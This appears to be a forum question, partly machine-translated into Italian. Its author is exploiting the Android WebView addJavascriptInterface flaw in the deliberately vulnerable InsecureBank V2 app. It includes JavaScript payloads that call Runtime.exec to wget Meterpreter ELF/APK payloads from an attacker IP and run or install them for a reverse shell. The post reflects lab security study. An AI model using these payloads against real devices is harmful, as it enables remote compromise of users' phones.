web view addjavascriptinterface exploit

1

Ho battuto la testa su questo per quasi 56 ore (+/- un paio che ho preso per avere un paio di sonnellini e RedBulls) e non sono stato in grado di arrivare da nessuna parte con esso finora.

Sto cercando di capire l'addjavascriptinterface in WebView in Android API 16 e versioni precedenti o le app compilate contro quelle API. La vulnerabilità stessa è stata spiegata abbastanza bene qui al blog MWR

Per sfruttare con successo il seguente modulo Metasploit aiuta: exploit / android / browser / webview_addjavascriptinterface

e usando quanto sopra sono in grado di ottenere una shell Meterpretro inversa non appena la vittima visita l'URL dove sto ascoltando.

Quanto sopra funziona solo su browser di serie su Android 4.1.2 e meno che il browser stesso abbia la menzionata vulnerabilità.

Ora stavo cercando di capire lo stesso nel contesto di un'app. Quindi ho usato un app volutamente vulnerabile (InsecureBank V2)

L'app utilizza WebView con javascript abilitato e l'ho ottimizzato per usare anche l'interfaccia addjavascript.

Ora sono in grado di sfruttare la vulnerabilità e ottenere un codice eseguito non appena la vittima visita il WebView vulnerabile.

Il blog MWR sopra menziona un modo per rilasciare Weasel sul dispositivo vittima tramite l'esecuzione del comando e riconnettersi all'attaccante su un server drozer. Ma il modo in cui l'hanno definito non sembra funzionare nel mio caso.

Inoltre non ci sono moduli Metasploit che sfruttano questo tipo di scenario. Sono in grado di eseguire wget e recuperare un payload meterpreter (provato x86 come elf binary / armle come elf bonary / android come apk) dal mio server sul dispositivo. Quando li eseguo manualmente come utente della shell, ottengo di nuovo una sessione meterpreter di successo. Ma se provo a fare qualcosa del formato:

function execute(cmd){
  return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/shell.elf']);
execute(['/system/bin/sh','-c','/sdcard/shell.elf']);

Semplicemente non funziona. Non ottengo alcuna sessione TCP inversa. Né funziona sotto

<script>
function execute(cmd){
  return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/hack.apk']);
execute(['/system/bin/sh','-c','/system/xbin/su pm install hack.apk']);
</script>

o il seguente:

<script>
function execute(cmd){
  return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','wget -P /sdcard/ http://192.168.56.102/hack.apk']);
execute(['/system/bin/sh','-c','su pm install hack.apk']);
</script>

How do I execute the payload that I copied onto the victim's device using wget. Most of the resources I came across over the internet mention

  1. Come ottenere il carico utile Android specifico (msfvenom, payload drozer, ecc.)
  2. Come consegnarlo alla macchina della vittima (wget per esempio)

e poi dicono che una volta che il payload viene eseguito dall'utente o apk installato dall'utente, otteniamo una sessione TCP, ecc. inversa sulla macchina attacker.

No one explains how through the code execution can the payload be executed (apk installed/exe triggered).

Qualsiasi aiuto sarebbe molto apprezzato.

    
posta qre0ct 23.06.2016 - 19:53
fonte

0 risposte

Leggi altre domande sui tag